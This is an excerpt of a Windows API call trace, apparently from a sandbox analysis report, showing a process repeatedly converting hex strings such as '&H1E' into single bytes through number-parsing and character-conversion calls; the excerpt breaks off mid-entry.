0x0 [0061.949] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.950] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.950] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.950] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.950] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.951] VarParseNumFromStr (in: strIn="&H1E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.951] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x1e") returned 1 [0061.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x1e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x1e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x1e", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x1e", lpUsedDefaultChar=0x0) returned 1 [0061.952] VarParseNumFromStr (in: strIn="&H7", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.952] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\x07") returned 1 [0061.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x07", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x07", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x07", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x07", lpUsedDefaultChar=0x0) returned 1 [0061.952] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.953] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.953] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.953] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.954] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.954] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.955] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.955] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\x10") returned 1 [0061.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x10", lpUsedDefaultChar=0x0) returned 1 [0061.955] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.955] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.956] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.956] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.957] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.957] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.958] VarParseNumFromStr (in: strIn="&H8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.958] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\x08") returned 1 [0061.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x08", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x08", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x08", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x08", lpUsedDefaultChar=0x0) returned 1 [0061.959] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.959] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.959] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.959] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.960] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.960] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.961] VarParseNumFromStr (in: strIn="&H6", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.961] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\x06") returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x06", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x06", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x06", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x06", lpUsedDefaultChar=0x0) returned 1 [0061.961] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.961] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.962] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.962] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.963] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.963] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", 